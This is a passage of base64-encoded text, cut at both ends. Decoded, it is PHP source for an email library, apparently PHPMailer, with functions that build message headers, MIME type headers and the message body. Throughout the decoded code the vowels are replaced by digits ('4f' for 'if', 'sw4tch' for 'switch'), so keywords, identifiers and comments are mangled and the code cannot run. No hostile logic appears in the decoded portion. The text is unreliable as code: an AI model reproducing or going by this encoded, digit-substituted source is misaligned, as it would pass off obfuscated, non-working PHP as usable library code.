gICAgICAgIHN3NHRjaCAoJHRoNHMtPm01c3MxZzVfdHlwNSkgew0KICAgICAgICAgICAgYzFzNSAnMWx0JzoNCiAgICAgICAgICAgIGMxczUgJzFsdF80bmw0bjUnOg0KICAgICAgICAgICAgYzFzNSAnMWx0XzF0dDFjaCc6DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41XzF0dDFjaCc6DQogICAgICAgICAgICAgICAgJHRoNHMtPkFsdEIyZHkgPSAkdGg0cy0+d3IxcFQ1eHQoJHRoNHMtPkFsdEIyZHksICR0aDRzLT5XMnJkV3IxcCk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICR0aDRzLT5CMmR5ID0gJHRoNHMtPndyMXBUNXh0KCR0aDRzLT5CMmR5LCAkdGg0cy0+VzJyZFdyMXApOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQXNzNW1ibDUgbTVzczFnNSBoNTFkNXJzLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcgVGg1IDFzczVtYmw1ZCBoNTFkNXJzDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNyNTF0NUg1MWQ1cigpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQoNCiAgICAgICAgNGYgKCR0aDRzLT5NNXNzMWc1RDF0NSA9PSAnJykgew0KICAgICAgICAgICAgJHRoNHMtPk01c3MxZzVEMXQ1ID0gczVsZjo6cmZjRDF0NSgpOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0QxdDUnLCAkdGg0cy0+TTVzczFnNUQxdDUpOw0KDQogICAgICAgIC8vIFQyIGI1IGNyNTF0NWQgMTN0Mm0xdDRjMWxseSBieSBtMTRsKCkNCiAgICAgICAgNGYgKCR0aDRzLT5TNG5nbDVUMikgew0KICAgICAgICAgICAgNGYgKCR0aDRzLT5NMTRsNXIgIT0gJ20xNGwnKSB7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJHRoNHMtPnQyIDFzICR0MjFkZHIpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlM0bmdsNVQyQXJyMXlbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCR0MjFkZHIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIDRmIChjMjNudCgkdGg0cy0+dDIpID4gMCkgew0KICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT4xZGRyQXBwNW5kKCdUMicsICR0aDRzLT50Mik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSA1bHM1NGYgKGMyM250KCR0aDRzLT5jYykgPT0gMCkgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ1QyJywgJzNuZDRzY2wyczVkLXI1YzRwNDVudHM6OycpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+MWRkckFwcDVuZCgnRnIybScsIDFycjF5KDFycjF5KHRyNG0oJHRoNHMtPkZyMm0pLCAkdGg0cy0+RnIybU4xbTUpKSk7DQoNCiAgICAgICAgLy8gczVuZG0xNGwgMW5kIG0xNGwoKSA1eHRyMWN0IENjIGZyMm0gdGg1IGg1MWQ1ciBiNWYycjUgczVuZDRuZw0KICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPmNjKSA+IDApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ0NjJywgJHRoNHMtPmNjKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIHM1bmRtMTRsIDFuZCBtMTRsKCkgNXh0cjFjdCBCY2MgZnIybSB0aDUgaDUxZDVyIGI1ZjJyNSBzNW5kNG5nDQogICAgICAgIDRmICgoDQogICAgICAgICAgICAgICAgJHRoNHMtPk0xNGw1ciA9PSAnczVuZG0xNGwnIDJyICR0aDRzLT5NMTRsNXIgPT0gJ3FtMTRsJyAyciAkdGg0cy0+TTE0bDVyID09ICdtMTRsJw0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgMW5kIGMyM250KCR0aDRzLT5iY2MpID4gMA0KICAgICAgICApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ0JjYycsICR0aDRzLT5iY2MpOw0KICAgICAgICB9DQoNCiAgICAgICAgNGYgKGMyM250KCR0aDRzLT5SNXBseVQyKSA+IDApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ1I1cGx5LVQyJywgJHRoNHMtPlI1cGx5VDIpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gbTE0bCgpIHM1dHMgdGg1IHMzYmo1Y3QgNHRzNWxmDQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnUzNiajVjdCcsICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkdGg0cy0+UzNiajVjdCkpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIE9ubHkgMWxsMncgMSBjM3N0Mm0gbTVzczFnNSBJRCA0ZiA0dCBjMm5mMnJtcyB0MiBSRkMgaW9hYSBzNWN0NDJuIG8uZS51DQogICAgICAgIC8vIGh0dHBzOi8vdDIybHMuNDV0Zi4ycmcvaHRtbC9yZmNpb2FhI3M1Y3Q0Mm4tby5lLnUNCiAgICAgICAgNGYgKCcnICE9ICR0aDRzLT5NNXNzMWc1SUQgMW5kIHByNWdfbTF0Y2goJy9ePC4qQC4qPiQvJywgJHRoNHMtPk01c3MxZzVJRCkpIHsNCiAgICAgICAgICAgICR0aDRzLT5sMXN0TTVzczFnNUlEID0gJHRoNHMtPk01c3MxZzVJRDsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5sMXN0TTVzczFnNUlEID0gc3ByNG50ZignPCVzQCVzPicsICR0aDRzLT4zbjRxMzU0ZCwgJHRoNHMtPnM1cnY1ckgyc3RuMW01KCkpOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ001c3MxZzUtSUQnLCAkdGg0cy0+bDFzdE01c3MxZzVJRCk7DQogICAgICAgIDRmICghNHNfbjNsbCgkdGg0cy0+UHI0MnI0dHkpKSB7DQogICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdYLVByNDJyNHR5JywgJHRoNHMtPlByNDJyNHR5KTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJHRoNHMtPlhNMTRsNXIgPT0gJycpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoDQogICAgICAgICAgICAgICAgJ1gtTTE0bDVyJywNCiAgICAgICAgICAgICAgICAnUEhQTTE0bDVyICcgLiAkdGg0cy0+VjVyczQybiAuICcgKGh0dHBzOi8vZzR0aDNiLmMybS9QSFBNMTRsNXIvUEhQTTE0bDVyKScNCiAgICAgICAgICAgICk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkbXlYbTE0bDVyID0gdHI0bSgkdGg0cy0+WE0xNGw1cik7DQogICAgICAgICAgICA0ZiAoJG15WG0xNGw1cikgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ1gtTTE0bDVyJywgJG15WG0xNGw1cik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICA0ZiAoJHRoNHMtPkMybmY0cm1SNTFkNG5nVDIgIT0gJycpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0Q0c3AyczR0NDJuLU4ydDRmNGMxdDQybi1UMicsICc8JyAuICR0aDRzLT5DMm5mNHJtUjUxZDRuZ1QyIC4gJz4nKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFkZCBjM3N0Mm0gaDUxZDVycw0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+QzNzdDJtSDUxZDVyIDFzICRoNTFkNXIpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoDQogICAgICAgICAgICAgICAgdHI0bSgkaDUxZDVyWzBdKSwNCiAgICAgICAgICAgICAgICAkdGg0cy0+NW5jMmQ1SDUxZDVyKHRyNG0oJGg1MWQ1cls2XSkpDQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgICAgIDRmICghJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ01JTUUtVjVyczQybicsICc2LjAnKTsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmc1dE0xNGxNSU1FKCk7DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNXQgdGg1IG01c3MxZzUgTUlNRSB0eXA1IGg1MWQ1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRNMTRsTUlNRSgpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQogICAgICAgICQ0c20zbHQ0cDFydCA9IHRyMzU7DQogICAgICAgIHN3NHRjaCAoJHRoNHMtPm01c3MxZzVfdHlwNSkgew0KICAgICAgICAgICAgYzFzNSAnNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0L3I1bDF0NWQ7Jyk7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5WzZdIC4gJyInKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzF0dDFjaCc6DQogICAgICAgICAgICBjMXM1ICc0bmw0bjVfMXR0MWNoJzoNCiAgICAgICAgICAgIGMxczUgJzFsdF8xdHQxY2gnOg0KICAgICAgICAgICAgYzFzNSAnMWx0XzRubDRuNV8xdHQxY2gnOg0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvbTR4NWQ7Jyk7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5WzZdIC4gJyInKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzFsdCc6DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1OycpOw0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVs2XSAuICciJyk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIC8vIEMxdGNoNXMgYzFzNSAncGwxNG4nOiAxbmQgYzFzNSAnJzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT50NXh0TDRuNSgnQzJudDVudC1UeXA1OiAnIC4gJHRoNHMtPkMybnQ1bnRUeXA1IC4gJzsgY2gxcnM1dD0nIC4gJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAgICAgICAgICQ0c20zbHQ0cDFydCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgICAgIC8vIFJGQzZvdTYgcDFydCBpIHMxeXMgN2I0dCA0cyAxc3MzbTVkIDRmIG4ydCBzcDVjNGY0NWQNCiAgICAgICAgNGYgKCR0aDRzLT5FbmMyZDRuZyAhPSAnN2I0dCcpIHsNCiAgICAgICAgICAgIC8vIFJGQyBhMHVpIHM1Y3Q0Mm4gZS51IHMxeXMgbTNsdDRwMXJ0IE1JTUUgcDFydHMgbTF5IDJubHkgM3M1IDdiNHQsIDhiNHQgMnIgYjRuMXJ5IENURQ0KICAgICAgICAgICAgNGYgKCQ0c20zbHQ0cDFydCkgew0KICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+RW5jMmQ0bmcgPT0gJzhiNHQnKSB7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmcnLCAnOGI0dCcpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBUaDUgMm5seSByNW0xNG40bmcgMWx0NXJuMXQ0djVzIDFyNSBxMzJ0NWQtcHI0bnQxYmw1IDFuZCBiMXM1ZXUsIHdoNGNoIDFyNSBiMnRoIDdiNHQgYzJtcDF0NGJsNQ0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nJywgJHRoNHMtPkVuYzJkNG5nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+TEU7DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm5zIHRoNSB3aDJsNSBNSU1FIG01c3MxZzUuDQogICAgICogSW5jbDNkNXMgYzJtcGw1dDUgaDUxZDVycyAxbmQgYjJkeS4NCiAgICAgKiBPbmx5IHYxbDRkIHAyc3QgcHI1UzVuZCgpLg0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjpwcjVTNW5kKCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1bnRNSU1FTTVzczFnNSgpDQogICAgew0KICAgICAgICByNXQzcm4gcnRyNG0oJHRoNHMtPk1JTUVINTFkNXIgLiAkdGg0cy0+bTE0bEg1MWQ1ciwgIlxuXHIiKSAuIHM1bGY6OkNSTEYgLiBzNWxmOjpDUkxGIC4gJHRoNHMtPk1JTUVCMmR5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyNTF0NSAzbjRxMzUgSUQNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBnNW41cjF0NUlkKCkgew0KICAgICAgICByNXQzcm4gbWRpKDNuNHE0ZCh0NG01KCkpKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBc3M1bWJsNSB0aDUgbTVzczFnNSBiMmR5Lg0KICAgICAqIFI1dDNybnMgMW4gNW1wdHkgc3RyNG5nIDJuIGYxNGwzcjUuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gc3RyNG5nIFRoNSAxc3M1bWJsNWQgbTVzczFnNSBiMmR5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNyNTF0NUIyZHkoKQ0KICAgIHsNCiAgICAgICAgJGIyZHkgPSAnJzsNCiAgICAgICAgLy9DcjUxdDUgM240cTM1IElEcyAxbmQgcHI1czV0IGIyM25kMXI0NXMNCiAgICAgICAgJHRoNHMtPjNuNHEzNTRkID0gJHRoNHMtPmc1bjVyMXQ1SWQoKTsNCiAgICAgICAgJHRoNHMtPmIyM25kMXJ5WzZdID0gJ2I2XycgLiAkdGg0cy0+M240cTM1NGQ7DQogICAgICAgICR0aDRzLT5iMjNuZDFyeVthXSA9ICdiYV8nIC4gJHRoNHMtPjNuNHEzNTRkOw0KICAgICAgICAkdGg0cy0+YjIzbmQxcnlbb10gPSAnYm9fJyAuICR0aDRzLT4zbjRxMzU0ZDsNCg0KICAgICAgICA0ZiAoJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRNMTRsTUlNRSgpIC4gJHRoNHMtPkxFOw0KICAgICAgICB9DQoNCiAgICAgICAgJHRoNHMtPnM1dFcycmRXcjFwKCk7DQoNCiAgICAgICAgJGIyZHlFbmMyZDRuZyA9ICR0aDRzLT5FbmMyZDRuZzsNCiAgICAgICAgJGIyZHlDaDFyUzV0ID0gJHRoNHMtPkNoMXJTNXQ7DQogICAgICAgIC8vQzFuIHc1IGQyIDEgNy1iNHQgZDJ3bmdyMWQ1Pw0KICAgICAgICA0ZiAoJGIyZHlFbmMyZDRuZyA9PSAnOGI0dCcgMW5kICEkdGg0cy0+aDFzOGI0dENoMXJzKCR0aDRzLT5CMmR5KSkgew0KICAgICAgICAgICAgJGIyZHlFbmMyZDRuZyA9ICc3YjR0JzsNCiAgICAgICAgICAgIC8vQWxsIElTTyA4OGk5LCBXNG5kMndzIGMyZDVwMWc1IDFuZCBVVEYtOCBjaDFyczV0cyAxcjUgMXNjNDQgYzJtcDF0NGJsNSAzcCB0MiA3LWI0dA0KICAgICAgICAgICAgJGIyZHlDaDFyUzV0ID0gJzNzLTFzYzQ0JzsNCiAgICAgICAgfQ0KICAgICAgICAvL0lmIGw0bjVzIDFyNSB0MjIgbDJuZywgMW5kIHc1J3I1IG4ydCAxbHI1MWR5IDNzNG5nIDFuIDVuYzJkNG5nIHRoMXQgdzRsbCBzaDJydDVuIHRoNW0sDQogICAgICAgIC8vY2gxbmc1IHQyIHEzMnQ1ZC1wcjRudDFibDUgdHIxbnNmNXIgNW5jMmQ0bmcgZjJyIHRoNSBiMmR5IHAxcnQgMm5seQ0KICAgICAgICA0ZiAoJ2IxczVldScgIT0gJHRoNHMtPkVuYzJkNG5nIDFuZCBzNWxmOjpoMXNMNG41TDJuZzVyVGgxbk0xeCgkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICRiMmR5RW5jMmQ0bmcgPSAncTMydDVkLXByNG50MWJsNSc7DQogICAgICAgIH0NCg0KICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJHRoNHMtPkVuYzJkNG5nOw0KICAgICAgICAkMWx0QjJkeUNoMXJTNXQgPSAkdGg0cy0+Q2gxclM1dDsNCiAgICAgICAgLy9DMW4gdzUgZDIgMSA3LWI0dCBkMnduZ3IxZDU/DQogICAgICAgIDRmICgkMWx0QjJkeUVuYzJkNG5nID09ICc4YjR0JyAxbmQgISR0aDRzLT5oMXM4YjR0Q2gxcnMoJHRoNHMtPkFsdEIyZHkpKSB7DQogICAgICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJzdiNHQnOw0KICAgICAgICAgICAgLy9BbGwgSVNPIDg4aTksIFc0bmQyd3MgYzJkNXAxZzUgMW5kIFVURi04IGNoMXJzNXRzIDFyNSAxc2M0NCBjMm1wMXQ0Ymw1IDNwIHQyIDctYjR0DQogICAgICAgICAgICAkMWx0QjJkeUNoMXJTNXQgPSAnM3MtMXNjNDQnOw0KICAgICAgICB9DQogICAgICAgIC8vSWYgbDRuNXMgMXI1IHQyMiBsMm5nLCAxbmQgdzUncjUgbjJ0IDFscjUxZHkgM3M0bmcgMW4gNW5jMmQ0bmcgdGgxdCB3NGxsIHNoMnJ0NW4gdGg1bSwNCiAgICAgICAgLy9jaDFuZzUgdDIgcTMydDVkLXByNG50MWJsNSB0cjFuc2Y1ciA1bmMyZDRuZyBmMnIgdGg1IDFsdCBiMmR5IHAxcnQgMm5seQ0KICAgICAgICA0ZiAoJ2IxczVldScgIT0gJDFsdEIyZHlFbmMyZDRuZyAxbmQgczVsZjo6aDFzTDRuNUwybmc1clRoMW5NMXgoJHRoNHMtPkFsdEIyZHkpKSB7DQogICAgICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJ3EzMnQ1ZC1wcjRudDFibDUnOw0KICAgICAgICB9DQogICAgICAgIC8vVXM1IHRoNHMgMXMgMSBwcjUxbWJsNSA0biAxbGwgbTNsdDRwMXJ0IG01c3MxZzUgdHlwNXMNCiAgICAgICAgJG00bTVwcjUgPSAiVGg0cyA0cyAxIG0zbHQ0LXAxcnQgbTVzczFnNSA0biBNSU1FIGYycm0xdC4iIC4gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICBzdzR0Y2ggKCR0aDRzLT5tNXNzMWc1X3R5cDUpIHsNCiAgICAgICAgICAgIGMxczUgJzRubDRuNSc6DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJG00bTVwcjU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSwgJGIyZHlDaDFyUzV0LCAnJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xdHQxY2hBbGwoJzRubDRuNScsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxdHQxY2gnOg0KICAgICAgICAgICAgICAgICRiMmR5IC49ICRtNG01cHI1Ow0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICRiMmR5Q2gxclM1dCwgJycsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+MXR0MWNoQWxsKCcxdHQxY2htNW50JywgJHRoNHMtPmIyM25kMXJ5WzZdKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzRubDRuNV8xdHQxY2gnOg0KICAgICAgICAgICAgICAgICRiMmR5IC49ICRtNG01cHI1Ow0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgnLS0nIC4gJHRoNHMtPmIyM25kMXJ5WzZdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnQzJudDVudC1UeXA1JywgJ20zbHQ0cDFydC9yNWwxdDVkOycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbYV0gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdLCAkYjJkeUNoMXJTNXQsICcnLCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnNG5sNG41JywgJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnMXR0MWNobTVudCcsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxbHQnOg0KICAgICAgICAgICAgICAgICRiMmR5IC49ICRtNG01cHI1Ow0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICQxbHRCMmR5Q2gxclM1dCwgJ3Q1eHQvcGwxNG4nLCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5BbHRCMmR5LCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSwgJGIyZHlDaDFyUzV0LCAndDV4dC9odG1sJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgIDRmICghNW1wdHkoJHRoNHMtPkljMWwpKSB7DQogICAgICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICcnLCAndDV4dC9jMWw1bmQxcjsgbTV0aDJkPVJFUVVFU1QnLCAnJyk7DQogICAgICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkljMWwsICR0aDRzLT5FbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuZEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5WzZdLCAkMWx0QjJkeUNoMXJTNXQsICd0NXh0L3BsMTRuJywgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QWx0QjJkeSwgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgnLS0nIC4gJHRoNHMtPmIyM25kMXJ5WzZdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnQzJudDVudC1UeXA1JywgJ20zbHQ0cDFydC9yNWwxdDVkOycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbYV0gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdLCAkYjJkeUNoMXJTNXQsICd0NXh0L2h0bWwnLCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aD